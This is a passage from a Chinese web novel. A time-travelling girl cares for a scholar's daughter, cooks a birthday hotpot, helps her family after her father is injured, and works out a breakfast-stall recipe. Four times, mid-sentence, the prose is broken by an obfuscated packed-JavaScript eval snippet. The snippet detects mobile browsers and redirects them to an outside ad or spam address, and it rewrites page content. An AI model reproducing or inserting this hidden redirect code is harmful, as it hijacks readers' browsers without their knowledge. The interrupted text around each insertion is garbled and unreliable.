舒小姐也发现了他,喊道:“爹爹,你看我教姐姐写的字!” 舒先生背着手不说话,看看陈瑞安面前的字,又翻了翻舒小姐的几张字。 陈瑞安有种被班主任抓包玩手机的紧张。 不过,舒先生似乎没有分毫不高兴,反而笑道:“《礼记》里说:‘学然后知不足,教然后知困。’教学相长,说得真是有道理。青青这一下午的长进,抵得上从前半个月了。” 陈瑞安松了一口气。 舒先生给舒小姐的大字上画了几个圈,表示这几个字写得好,又指出几个不好的字,给舒小姐大致讲解了一番,就放她出去玩了。放下笔,他对陈瑞安道:“你到书房来,我有话同你说。” “到书房来”跟“到办公室来”有什么区别!上辈子这辈子加起来,已经有近二十年没有上过学的陈瑞安,听见这熟悉的句式,还是情不自禁地打了个哆嗦。 到了书房,舒先生首先从柜子里找出两贯钱,放到陈瑞安面前。看见陈瑞安惊讶的表情,他说:“最近粮价飞涨,家家都过得艰难。我没猜错的话,你也是因为这个,才出来工作的吧?” 陈瑞安点点头。 舒先生接着说:“既然急用,这个月的月钱,你就先拿去,等将来粮价降下来,日子好过了,再改回月底发放。” 这笔钱的确可解燃眉之急,陈瑞安千恩万谢地接过了。 舒先生又道:“看来青青很喜欢你,多谢。我看今天青青教你写字,于她的功课大有助益,此法甚好,往后你带她做功课,也可以这样。她小孩子说话,有时前言不搭后语,辛苦你耐心些。她有什么做得不对的,你也不必顾虑,该骂就骂,这是为她好。” 两人又聊了聊舒小姐白天的表现,相互交流了一些对付她的心得。汇报完工作,一天的工作正式结束,陈瑞安下班了。 走到外院,刘婶拦住她,递给她一包油纸包着的东西:“这是舒先生带回来的,说给你和小姐一人一包。” 陈瑞安打开油纸包一看,竟是一小包炸麻花! 炸麻花不仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117781|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要用精面粉,而且十分费油,从前粮价低的时候,陈家尚且舍不得常常吃,如今更是吃不起了。 有钱又有吃,一天的疲惫在此刻一扫而空。陈瑞安揣着钱、捧着麻花,高高兴兴回家了。 回到家,陈瑞安第一件事是把油纸包送到张金花眼前:“给你带好吃的回来了!” 张金花接过油纸包,打开看了一眼:“哟,麻花!哪儿来的?” “舒先生给舒小姐买的,给我多带了一份。你也吃。” 张金花道:“连吃带拿的,合适吗?” 陈瑞安拣了一根碎的,丢进嘴里:“有什么不合适的,又不是天天都有。” 啊,是油炸的香气!麻花出炉不久,还热乎着,吃起来焦脆酥香,最近营养不良的陈瑞安感到十分幸福。 张金花放下手里的活儿,把陈瑞平和陈家奶奶都叫来,一家人围着餐桌吃麻花。 刚从衙门下班回来的陈瑞平“咔嚓”咬了一口,发出满足的叹息:“好久没吃麻花了,真香啊。” 奶奶牙口很好,吃个麻花不在话下。她尝了一根,马上断定:“这是东街北头那家的麻花。他们家的麻花是祖传的手艺,加了秘制的五香粉和芝麻,几十年了,一直是这个味道。” 张金花也爱吃麻花,边嚼边问:“怎么样,工作累不累?” 陈瑞安其实有些累,但不愿报忧,只说:“带一个那么大的小女孩,有什么可累的?早上吃了白粥和胡饼,中午饭桌上还有一道炒肉片,吃得我浑身是劲儿。” 张金花问:“你吃饭是和主人家一起呢,还是和他们家那个老妈子一起呢?” 陈瑞安如实答:“早上是我和舒小姐一起吃;中午有舒夫人、舒小姐、他们家的刘婶,还有我,四个人一桌吃饭,吃的都是一样的东西。舒夫人又漂亮,又温柔,还让我管她叫伯母呢。舒小姐也听话,一直叫我姐姐。” 张金花放心了些:“那就好。” “舒小姐还教我写字呢。”陈瑞安回想起下午的经历,“舒先生回来看见了,说特别好,教了我,舒小姐进步快多了,让我们以后都这么学。” “这么好!学写字好啊,写字有用。这么看来,先前我拦着不让你去,倒是险些耽误了你。”张金花感叹道。 “对了,”陈瑞安掏出怀里的钱,推给张金花,“舒先生说知道我们日子艰难,主动把这个月的月钱提前支给我。” 张金花感激得不知怎么是好:“舒先生是我们家的恩人哪。” 奶奶表示同意,陈瑞平也说,舒先生人一直很好,从前交不起束脩的同学,舒先生都会暗地里减免。 张金花把钱拨出来一部分,道:“这些钱,你拿去买一些纸和墨,带到舒先生家里用。这些都是金贵东西,舒先生大方,我们不能不知道分寸。还有这些,给你零花用,平时买些零食点心,别舍不得。” 陈瑞安正要推拒,忽然听见有人在门口喊:“金花婶,奶奶,瑞平哥,小安。”一看,竟是阿亭来了。 阿亭道:“小安,昨日你教给我卖豆腐的法子,我都告诉了我娘。我娘说,多亏了你的办法,今日的豆腐特别好卖,走了两条街就卖完了,明日多做些,还能多卖。正好还剩下半块豆腐,我娘叫我拿来谢你。” 刚吃了麻花,晚上还能吃上豆腐。陈瑞安心想,果然,美好的生活还是要靠劳动来创造啊! 8. 飞来横祸 暑往寒来,不知不觉,距离陈瑞安来到舒家,竟已过去了一年多。 已经十四岁的陈瑞安又长高了一大截,身材颀长,比同龄的女孩子都要高。她坐在柴火灶边烤火边嗑着瓜子,两条腿长得无处安放,只好蜷缩在椅子下面。 刘婶挥着锅铲,手忙脚乱地喊她:“你别光顾着吃了,快来帮我看看,你说的那个劳什子菌菇汤底,到底是怎么做?” 陈瑞安拍拍手站起来:“就把东西都下进去呀,那有什么难的?” 香菇、羊肚菌、竹荪、茶树菇、虫草这些干货,都提前泡在一个小盆里。陈瑞安把盆递给刘婶:“下进去就行。” 刘婶接过盆,把里面的菌菇都捞出来铺在铜火锅的锅底,顺手就要把盆里剩的水倒进泔水桶。 陈瑞安赶紧拦住:“别倒了呀!香味可都在这汤里呢,倒了多可惜。算了算了,我来吧,你去切肉。” 刘婶如释重负,赶紧把烂摊子丢给陈瑞安,埋怨道:“你一天到晚撺掇着青青吃这吃那,撺掇完就甩给我,管杀不管埋的。我一把老骨头了,哪里做得来你那些新鲜东西!” “快呸呸呸,摸木头,今天是青青过生辰,说什么杀呀埋呀的,多不吉利。”陈瑞安往铜火锅里投了些葱、姜、红枣、虾皮,又转过头嘱咐刘婶,“牛肉要切得薄薄的,跟纸片一样;虾弄得干干净净的,只留虾仁,一会儿涮着吃。” 刘婶最疼舒小姐,自己也觉得失言,赶紧摸了摸木头砧板,但犹嫌她事多:“我要是有把牛肉切成纸片的本事,我也不在这里给你们做老妈子,早上酒楼当大厨去了!” 陈瑞安赶紧哄哄刘婶:“刘婶的手艺,比喜来酒楼的大厨可强多了!小时候,我爹在那里请人谈事情,给我打包了剩菜回来,我记得牢牢的,绝对没有刘婶做的饭好吃。”喜来酒楼是河头县生意最好的酒楼,河头县的人要请客吃饭,去喜来酒楼是最挑不出错的。 这一番马屁听得刘婶十分受用,怨气一下子消了一半。她大半辈子都耗在厨房里,最得意的就是一手好厨艺。她问陈瑞安:“对了,今年过年,你爹回来吧?” “回呀。”陈瑞安小心翼翼地把提前剁好的半只鸡摆进铜火锅里,最后把泡菌菇的水一股脑倒进去,“上个月就寄信回来了,说今年要比往年回来得早,兴许比我放元日假还早些呢。” 刘婶道:“如今你爷爷走了,你家里负担也轻了,是不必这么奔波地赚钱了。要我说,你回去劝劝你娘,把你爹留下来,过完年也不必走了,往后就在家门口做些小生意。你们一家人团团圆圆的,那才叫好日子呢!” 陈瑞安不语。 今年年初,陈家爷爷过世,一家人都很淡然。爷爷虽然卧床多年,但身上连一个褥疮也不曾生,床铺也总是干干净净的,走得体面,算是善终了。为了陈家爷爷的病,爹、娘、奶奶,所有人都付出良多。爷爷丧礼时,奶奶就曾劝张金花,干脆把爹留下来,不要再出去了,但不知为何,丧礼过后,爹还是走了。陈瑞安悄悄猜测,爹娘虽是老夫老妻,但相处的日子却屈指可数,娘独自生活惯了,大约有些踌躇吧。 两人说着闲话,陈瑞安陆陆续续又往火锅里加了萝卜、红枣,最后撒了些枸杞和盐,就可以端上桌了。 刘婶道:“这些我来,你去叫青青和阿瑜吃饭。” 一年多过去,舒小姐长高了不少,性子也沉稳了许多。如今,她不再整日都闹着要玩,反倒爱独自待在屋里看书。舒夫人孙阿瑜,经过长时间的修养,身子竟也慢慢好起来,只是如今寒冬腊月,总要分外小心,因此她还是在房中绣花打发日子。 四人围坐桌前,桌上摆着的铜火锅冒着白茫茫的蒸气,角落里还烧着炭盆。外面还下着雪,这里却十分温暖。 吃饭之前,陈瑞安向孙阿瑜笑道:“伯母,今天青青过生辰,您讲两句。” 孙阿瑜想了想,揽着舒小姐,道:“青青她爹管青青读书管得严,是希望她多懂些圣贤道理,要她有智慧。我有时看着心疼,总担心太拘束了她。其实,我没什么大的志向,只希望青青能平安喜乐、一生无忧,这就是最大的福气了。” 舒小姐听了,紧紧抱住孙阿瑜,道:“娘亲也一样。” 陈瑞安接着道:“那我就祝青青:年年有今日,岁岁有今朝。”说着,从背后掏出一本书,递到舒小姐的手上,“这是我给你准备的生辰礼,一本《徐霞客游记》。” 舒小姐在其他书里听说有这本书,一直想读,同陈瑞安提过一次,陈瑞安有心记下了。果不其然,这份礼物送到了舒小姐的心坎里,她高兴地说:“谢谢姐姐!这是我收过最好的生辰礼!” 刘婶道:“我粗人一个,别的话我也不会说,我只希望青青身体健康,壮壮实实的,要是能多吃点饭,那就是更好的孩子了。” 舒小姐给说得有些不好意思,两只手捧着脸。她有些挑食,刘婶没少为此操心,大家见她表情,都被逗笑了。 刘婶蒸了一盘雪白的大米发糕,上面点缀着几片红枣,同雪中红梅一般,又应景又好看。陈瑞安将发糕挪到舒小姐面前,又小心翼翼地在旁边点上一支红蜡烛,权把发糕作生日蛋糕,柔声向舒小姐道:“来,许个愿吧。” 舒小姐闭上眼睛,双手合十,虔诚地许着愿,几人同去年一样,齐声唱着陈瑞安教的《生日歌》。 待吹完蜡烛、分过发糕,终于可以开始吃火锅了。平日里,陈瑞安常常念叨火锅的妙处,舒小姐一直十分好奇,只是刘婶总嫌麻烦,不肯做。今日趁她生辰,终于得以一饱口福。 装了菌汤锅底的铜火锅咕嘟咕嘟冒着泡,鲜香四溢。周围摆了满满一桌的配菜,荤菜有切得薄薄的牛肉片、新鲜的大虾仁,还有陈瑞安前两天教刘婶提前做出来的鱼丸;素菜有娃娃菜、豆芽、豆腐、豆腐皮,还有刘婶亲自做的手擀面。 陈瑞安拿起一只小碗,熟稔地用麻酱、香油、小葱和芝麻替舒小姐调了一碟蘸料,介绍道:“肥牛片容易熟,涮一涮就能吃。像我这样,拿筷子夹着放进锅里,数二十五下。一、二……二十五,好了,看见肥牛已经完全变色,就可以吃了。捞出来放在蘸料里,这样蘸一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117782|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——青青,尝尝看。” 舒小姐把牛肉吃进嘴里,眼睛瞬间亮起来,惊喜道:“这个牛肉好嫩啊!虽然上面带着肥肉,可吃着一点儿也不腻。这个蘸料也很好吃,特别香。” “鱼丸和虾仁要多煮一会儿,要煮大约半刻钟。”趁着煮鱼丸和虾的功夫,陈瑞安又替孙阿瑜调蘸料。孙阿瑜是病人,有忌口,吃得清淡,陈瑞安贴心地替她舀了两大勺菌菇汤底,然后加入少量生抽、蒜蓉、葱、香油,搅拌均匀。 孙阿瑜尝过刘婶做的鱼丸,喜欢它嫩滑的口感。她夹了一个鱼丸,放进调好的蘸料里涮了涮,咬了一口,点头赞道:“这个汤底好,浓郁醇厚,有菌菇的鲜香。鱼丸这么吃,比直接吃更美味几分。” 刘婶口味重,爱吃酸辣口味,她以辣椒油和醋为主,自己调了一个蘸料,涮了一个虾仁吃:“好吃!主要是我这个蘸料调得好,够味儿。这个吃法很好,各人都能吃到自己喜欢的口味,往后咱们也可以这么吃。” 众人一边吃着火锅,一边说着话,火锅里的食材翻滚着,香气弥漫在整个屋子里。屋内暖意融融,欢声笑语不断,与窗外的冰天雪地对比鲜明。 舒小姐道:“多谢刘婶和姐姐,你们为了这顿火锅,忙前忙后的,辛苦了。今日是我过得最开心的一个生辰。” 刘婶有些动情,眼中泛着泪光,摆摆手道:“哎呀,说啥呢!我说句大不敬的话,我在舒家待了这么多年,早把自己看作舒家人,对你们就好比亲人一样。能照顾你们日常生活,其实我心里特别满足。” 孙阿瑜赶紧说:“我也是这样想。青青的亲奶奶走得早,刘婶疼青青,同亲孙女也没有分别了。” 这时,下到锅里的手擀面煮好了,陈瑞安用漏勺捞起,均匀地分给众人。 陈瑞安吃了一口热乎乎的面条,不禁感慨:“能这般舒舒服服地吃上一顿火锅,做神仙也不过如此了。” 酒足饭饱之后,刘婶起身收拾碗筷,舒小姐起身帮忙。陈瑞安也没闲着,帮忙端铜火锅、擦桌子。不一会儿,屋子又恢复了整洁。 几人坐在窗边看着雪,享受这片刻的宁静。 忽然,大门外传来一阵急促的叩门声。刘婶独自在外院,听见声音,感到纳闷。这个时间,舒先生还没散学,佃户交租的时间也还没到,会是谁来呢?她从厨房出来,一边去开门,一边喊着:“谁呀?” 陈瑞安在内院,还以为是舒先生提前回来了。只远远听见刘婶同叩门的人低声说了几句,然后刘婶从那扇连接内外院的梅花窗里探出脑袋,朝陈瑞安喊道:“找你的!” 陈瑞安很诧异:“找我?谁会来这里找我?”她赶去门口,门外站着的竟是大顺。 大顺如今已经不上学了,在家里跟着他父亲学木匠。 大顺显然是跑过来的,天气这样冷,他额头上竟满满的都是汗。他大喘着气,神色慌张,陈瑞安看得心里莫名有些发慌,她问道:“大顺?你来这里做什么?发生什么事了吗?” 大顺道:“小安,不好了,你快回家。你爹出事了!” 9. 借钱 陈瑞安心急如焚,一路飞奔回家。雪天的路分外滑,她在途中不小心摔了好几跤,也咬牙忍痛赶紧爬了起来,继续往家跑。 哥哥陈瑞平已经先一步到家了。哥哥,娘,奶奶三人,围坐在饭桌前,每个人的脸上都如笼着一层愁云,分外沉重。 见陈瑞安回来了,哥哥陈瑞平上前扶住她的肩膀,安慰道:“小安,你先别急,一定会有办法的。” 陈瑞安如何能不急?她用颤抖的声音问陈瑞平:“爹现在在哪儿?” 陈瑞平道:“二伯说,他们想办法把爹抬到了一个最近的农户家,给了那户人家一些钱,爹如今就在那里。只是那地方离家不算近,就算骑马,单程也要走两天,若要把爹接回家,只怕多有不便。”二伯是陈家爷爷的堂弟,爹一直跟着他做生意。 陈瑞安带着哭腔说:“那怎么行?凭他怎么不方便,也一定得尽快把爹接回来呀。总不能把爹留在外头吧?” 陈瑞平连连点头,道:“是,没错,我们在想办法了,无论如何也会把爹接回来的。实在不行,就让爹暂且留在那儿,我们派一个人过去。” 陈瑞安道:“就过去一个人怎么行?那爹该多孤单啊。” 张金花道:“小安说得对,这种时候,还是要人多才行,人多力量大。只凭一个人,是支撑不住的。”她的眼睛红肿得如两个大桃核,显然是哭过一轮了。 “没错,”陈瑞安抹了把眼泪,“爹为我们这个家付出了那么多,一定要热热闹闹的。” 陈瑞平顿了一下,道:“热不热闹的,倒是其次。” “怎么就其次了?”陈瑞安急得拿拳头捶他,“陈瑞平,你摸摸你的良心再说这话。爹为了我们这一家子,在外面奔波了半辈子。临到这时候了,难道就要省这一点钱?” 奶奶附和道:“不省钱,不省钱!越是这种时候,越不能省钱,再多的钱也比不上人重要!” 陈瑞安道:“是呀,一定要让爹落叶归根,要大操大办才行!” 陈瑞平愣住了:“大操大办什么?” 陈瑞安也愣住了。 难道爹没死? 合着两个人在这儿聊了半天,全是鸡同鸭讲! 两人隐约都猜到这是闹了个大误会,只是这误会实在不大吉利,两人大眼瞪小眼,都不敢说出口。 尴尬在空气中蔓延。 陈瑞安鼓起勇气,打破了这该死的沉默:“爹……爹到底怎么了?” 陈瑞平表情还呆呆的:“爹在回来的路上,从马上摔下来了,郎中去看过,说是把尾闾骨和一条腿摔折了。” 陈瑞安:“……” 原来这就是破窗效应吗?听起来好像一点儿也不严重呢。 张金花忽地破涕为笑,笑出声来,大家也都忍不住跟着笑了。 奶奶把陈瑞安揽过来,搂着她,道:“就该这样。生死以外无大事,只要人还在,有什么事情是过不去的呢?” 哭过笑过,一家人终于整整齐齐坐下来,开始讨论爹的事情该如何处置。 二伯来报信,是张金花接待的,因此张金花先向大家转达了爹的情况:“你们爹如今在虎山县。他是因为骑着马,马忽然受惊,才摔下来的。因为马当时跑得很快,他被远远甩到路边,从坡上滑了下去。” “唉哟,可别摔出什么内伤吧?”奶奶有些后怕。皆因阿亭她爹当年就是如此,采菌子的时候从山上摔下来,当时好好的,还能自己走回家,结果第二天忽然就发病,郎中说已经救不回来了。 张金花道:“郎中说,五脏六腑皆无损伤,实在万幸。只是这一跤摔得太狠,腿摔得倒轻,只是尾闾骨折得十分严重。他已经给你们爹把骨头复了位,又用杉木皮固定了伤处,只要修养得当,将来走路跑跳,都没有问题。只有一样,在郎中说可以自由活动之前,既不能久坐、也不能久站,须得卧床修养,除了解手吃饭,轻易不能下地走动。” “没有后遗症,自己能解手吃饭,那就还算好办。”陈瑞安松了一口气。 陈瑞平点点头:“如今最大的问题,就是怎么把爹给接回来。爹既然不能久坐,首先就不能骑马,也坐不了马车;而且沿途颠簸,恐怕不利于爹的伤情。” “用牛拉的板车呢?板车的空间大,应该可以躺下一个人。如果能趴着,颠簸些也不影响。”陈瑞安帮着出主意。 “我也想到了。但是你看——”陈瑞平指指窗外,“还下着这么大的雪呢。板车没有顶,坐着板车在这样的天里走,人是会冻坏的。” 想来想去,也想不出个所以然来。 陈瑞安灵机一动:“我听说,郡城的富人和高门大户,会坐一种用两匹马拉的大马车,那马车十分宽敞,垫块木板,想必可以躺下一个人。” “两匹马和大马车……太贵了吧?我也不会骑马,这种天气,恐怕马夫也难找,又是一笔开支。我去那里赁间屋子,等到爹恢复了再回来,兴许还便宜些。” 张金花道:“别考虑钱的事。且不说你有衙门的差事走不开,要照顾病人,一个人也不够用。我看这个主意可行,你二伯与车行相熟,找他去租车马,还能便宜一些。” 几人又合计半天,完善了路线日程等细节,觉得可行。 张金花道:“瑞平,你去郡城找你二伯,请他帮着找车马和马夫。这趟恐怕要花不少钱,我把家里的积蓄都取给你,再找亲戚们借一点。你也找二伯借一些,二伯家底比我们家厚,又同你爹亲热,你说些好话。穷家富路,出门在外,钱要带足。” 如今已是下午,河头县离郡城虽近,来回也要小半天了。陈瑞平怕晚了来不及,即刻便出发了。 张金花道:“小安,我出去借钱,你在家陪着奶奶。” 陈瑞安忙道:“我也去。” 奶奶怕张金花不认识家里那些亲戚,也要去,张金花硬拦下来:“外面下着雪呢,孩子们的爹还在外头,倘若您再摔坏了,我们怎么办?您安心在家等消息就是。” 张金花与陈瑞安盘算了有几门还算亲近的亲戚,决定分头行动。 陈瑞安跑完自己的这几家,想了想,估摸着舒先生这会儿已经散学,又到舒家找了舒先生,预支了三个月的月钱。舒先生听闻陈家的状况,十分关切,要陈瑞安不急着来上班,先处理好家里的事情再说,陈瑞安自是千恩万谢不提。 第二天一早,陈瑞平揣着沉甸甸的钱袋子出门了。 陈瑞安买了许多胡饼,给哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117783|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥和马夫做干粮。她把装着胡饼的包袱挂在陈瑞平肩上,叮嘱他:“省着些吃。过了青石桥,人家就渐渐少了,你们走快些,一定赶在天黑前落脚。” 陈瑞平应了,上了车,马夫鞭子一甩,车轮碾着咯吱作响的雪,渐渐走远了。 陈瑞安和张金花目送车子走远后,回了家,良久无言。 半晌,陈瑞安叹口气,向张金花道:“娘,算笔账吧,咱们如今欠了多少钱?” 张金花道:“小孩子家家,这不是你该操心的事情。” “我不小了,”陈瑞安道,“你别总想着自己一个人扛,咱们是一家人,有什么事情,总得大家在一起想办法。” 张金花不识字,陈瑞安找了纸笔出来,道:“你说说,我来算。” “你二伯借了我们十两,三伯借了二两,你小爷爷一两……” 陈瑞安一一记下来:“……一共十四两二贯钱,不算多。” 张金花叹了口气:“这一年多好不容易攒了些钱,如今又全部搭进去了。” 陈瑞安知道娘的意思。虽然欠的债不算多,但爹一卧床,家里就失去了最主要的经济来源。 瑞平瑞安两兄妹,加起来一个月能挣五贯钱,管一家人的吃穿用度倒是够了,可是爹一回来,要看郎中、要吃药,靠这点钱,是一定不够的。奶奶年纪大了,要照顾一个病人尚且不易,更别提家中的家务活,因此,张金花也腾不出手来出去找活儿干。 等把爹接回来,恐怕,将来还得接着借钱。 手心向上地讨生活,谈何容易啊! 陈瑞安安慰娘:“会有办法的。钱嘛,无非就是开源节流。咱们勒紧裤腰带,过俭省些;再想想办法,看从哪儿能赚点钱。” 张金花又叹了口气:“挣钱哪有那么容易!” 陈瑞安道:“但也没有那么难。” 张金花挑眉看她:“你还真了不得,怎么到你嘴里,挣钱好像就是嘴皮子上下一翻的事儿似的。” 陈瑞安笑道:“嘴皮子一翻谈不上。但是么,挣钱的本质,就是用劳动换取报酬。只要肯付出劳动,自然就能赚到钱。” 张金花不认同地摇摇头:“你还是年纪小,想得太简单了。多少人起早贪黑地忙,还是穷得吃不上饭。能赚钱的劳动,都被人家攥在手里呢,好比东街北头那家的麻花,他们家做麻花的手艺是一辈一辈传下来的。别人学着他们家卖麻花,做出来不好吃,不还是赚不到钱,灰溜溜地走了么?” “那是因为他们的麻花不仅不好吃,还跟东街北头那家卖一个价呀。”陈瑞安头头是道地分析,“如果他们卖得便宜个二三成,自然就有贪便宜的人去买他们的麻花了。” “东街北头那家的麻花卖得本来就不贵,再便宜,岂不是要亏钱?” “关键就在这里!”陈瑞安道,“东西要卖出去,要么品质足够好,要么价钱足够低。在麻花这个市场,有又好吃又便宜的竞争对手,他们当然干不过。他们赚不到钱,是因为从一开始,赛道就没有选对!” 张金花眉毛挑得更高了:“那你说,你觉得哪里能挣钱?” 陈瑞安其实心里早已有了主意。 “我想好了,我们可以卖早点。” 10. 做奸商的潜质 前世,陈瑞安家里就是开早点店的。 陈瑞安的亲爸妈说过,在所有生意里,卖早点是最投入小、风险低、回报高的一样,只要肯吃苦,就能赚到钱。 吃苦是真的吃苦。 在还没有预制菜的年代,每天凌晨两点多就得起床,揉面、剁馅、包包子、蒸包子;六点做完,拉起门开始售卖,下一锅也得预备着蒸上;七八点早高峰,客人源源不断地来,夫妻俩忙得脚不沾地;一直卖到十点,这还不算完,后厨还有一堆烂摊子等着收拾呢。手脚麻利的话,中午能睡个午觉,但下午就别想着休息了,还要进货、备菜,为明天的工作做准备。一年四季,风雨无阻,更无节假日可言。 当时,陈瑞安早上上学前,爸妈忙着应付客人,话都说不上一句,更别提接送了;晚上放学回家,匆匆忙忙吃过晚饭,爸妈就得抓紧上床睡觉。她总恍惚觉得,比起父母,他们更像她的房东。 赚钱也是真的赚钱。 开业时,爸妈把厂里给的下岗补贴全投进去,买了设备、租了店面,手上已经不剩一点余钱。短短五年后,他们就自己买下了两间店面,雇了三四个帮工,翻身当上了老板。再二十年后,他们全款给小儿子——也就是陈瑞安的弟弟,在京城买了一套两居室老破小。 往事总是令人怅然,陈瑞安摇摇头,决定不再回忆自己如同外人的那个家,而是着眼当下,好好想想怎么通过卖早点赚到钱。 首先,陈瑞安决定把目标客群定位为河头县的平民百姓,因为这个市场足够大,陈家这个初出茅庐的小早点摊能从中分一杯羹的可能性就更高。 平民百姓爱吃什么早点?碳水、碳水、碳水! 对碳水的偏爱,是劳动人民几千年的生存智慧。 在没有冰箱等的时代,五谷杂粮最易储存,选择这些,可以不必大清早就出门买菜买肉。 吃饱饭才有力气干活,这些主食也能提供足够的能量,以支撑人们整个上午的体力劳作。 北方有面茶、大碴子粥,南方有肠粉、糍粑,从重庆小面到武汉热干面,从天津煎饼果子到上海粢饭团,都是从碳水这一基础食材上开出的花朵,都是普罗大众在果腹之上对美食的追求和探索。 河头县的人早饭爱吃什么?胡饼、白粥、馄饨、包子、煎饺……这些陈瑞安都不打算做。 这些常见的食物,大街上比比皆是,有些甚至是已经传了好几代、卖了上百年的配方,大家根据个人口味,早已有了自己的购买习惯,又凭什么选择光顾这个新冒出的小摊呢? 陈瑞安决定发挥自己穿越者的优势,带河头县的百姓见识见识新的美食——酱香饼。 虽然穿越前经常在家里的早点店帮忙做酱香饼,但古代毕竟食材有限,缺少番茄酱等原材料,陈瑞安打算先在家里试试手。 一勺黄豆酱、两勺豆瓣酱、一勺甜面酱,倒入碗中,再加入半勺辣椒面、半勺五香粉、两勺白糖,倒入小半碗水搅匀。陈瑞安特意多放了一些白糖,来弥补番茄酱带来的甜味。 半个白葱头和大蒜切成末,下油锅爆香,然后加入刚刚挑好的料汁,翻炒至浓稠,盛出备用。 面粉分成两份,小份放进碗里,用来做油酥。与面粉等量的菜籽油下锅烧热,拿铁勺舀出,趁热浇在面粉上,用一双木筷搅拌均匀,油酥就做好了。油酥是酱香饼层层叠叠、外脆里软的秘诀,分层不好的酱香饼,吃起来总是差点儿意思。 如今虽然粮价降下来了,不必如去年一般顿顿吃红薯粗粮,但为了尽量节约成本,陈瑞安特地掺入了一些没有去掉麸皮而磨制的全麦面粉。 像酱香饼这种调味的存在感更强的食物,口感上就可以朴素一些,部分全麦粉的参与不会太影响酱香饼的味道,反倒可以为其增添一些粗粮的质朴风味。 面团要用半烫面的手法,一半开水揉面、一半凉水揉面,这样做出来的饼即使凉了也不会硬。面团里也要淋入少量油,煎出来的饼会更软。 醒好的面团分成合适大小的剂子,一个剂子能做一张饼。 取一个剂子,擀成薄片,用刷子沾上油酥,在上面薄薄刷一层。刷好后,用刀把面沿“米”字形切开,留中间的圆心不切断。然后,把切出来的面片向圆心折叠、包裹起来。 把包裹起来的面团再次擀成薄片,锅中刷油,入锅小火煎至两面金黄,面饼的部分就做好了。 把面饼摊在砧板上,厚厚地刷上一层刚刚调好的酱汁,撒上葱花和白芝麻,切成小块,馋哭隔壁小孩的酱香饼就做好啦! 陈瑞安递了一片给张金花:“娘,你尝尝。” 张金花还从来没有见过长这样的煎饼。 她好奇地观察着手里的饼,层次分明,有点像店里卖的酥皮点心,但是比酥皮点心湿润而柔软;因为加了全麦粉,饼体黄中泛些灰,看起来同寻常胡饼差不多,但刷了酱的部分色彩十分明亮,又因点缀了白芝麻和葱花,看起来十分诱人。 张金花试探性地把饼送进嘴里,浓郁醇厚的酱香立即在口腔中弥漫开来,咸香中带着微微的甜,还有一丝似有似无的辣。那酱香不同寻常酱料,口味十分丰满而富有层次,回味悠长,使人欲罢不能。 而被酱料包裹的面饼,外层微微酥脆,上层面皮被酱料泡软后格外美味;内层的面饼柔软而有韧性,层次丰富,吃起来齿颊生香。 张金花不禁又把手伸向酱香饼,连着吃了一个又一个。 陈瑞安也尝了尝,没有番茄酱的酱香饼,咸香味更加突出,依然很好吃。而且加了全麦粉的酱香饼,变得更加有嚼劲了,并没有减分。 陈瑞安对自己的劳动成果很满意,问张金花:“怎么样?” 张金花发觉自己吃得停不下来,简直有些上瘾了,惊奇道:“你在哪儿学的这个东西?” 陈瑞安胡诌道:“跟刘婶学的,我自己琢磨着改良了一下。” “刘婶有这个手艺,自己开店也使得!”张金花咂舌道,“你拿这个出去卖,记得先问问刘婶,她同意了才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117784|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。这饼也太香了,一片接着一片,跟把人的魂勾走了似的。” 陈瑞安含糊应了。 张金花问道:“你打算卖多少钱?饼的部分倒还便宜,只是酱料有些贵。” “胡饼和素包子都是两文一个,肉包子三文一个。包子个儿小,胡饼个儿大,一个女人能吃一个胡饼或者两个包子,一个男人能吃两三个胡饼甚至更多。所以,女人一般花两到六文吃一顿早饭,男人要花六文以上。” 陈瑞安早已想好了,她拿菜刀从砧板上分出一堆饼来,道:“中份,这么多,够一个女人吃的,卖四文。” 张金花“哟”了一声,道:“还挺便宜。不过我怎么感觉,一个女人吃得要比这多一些。” 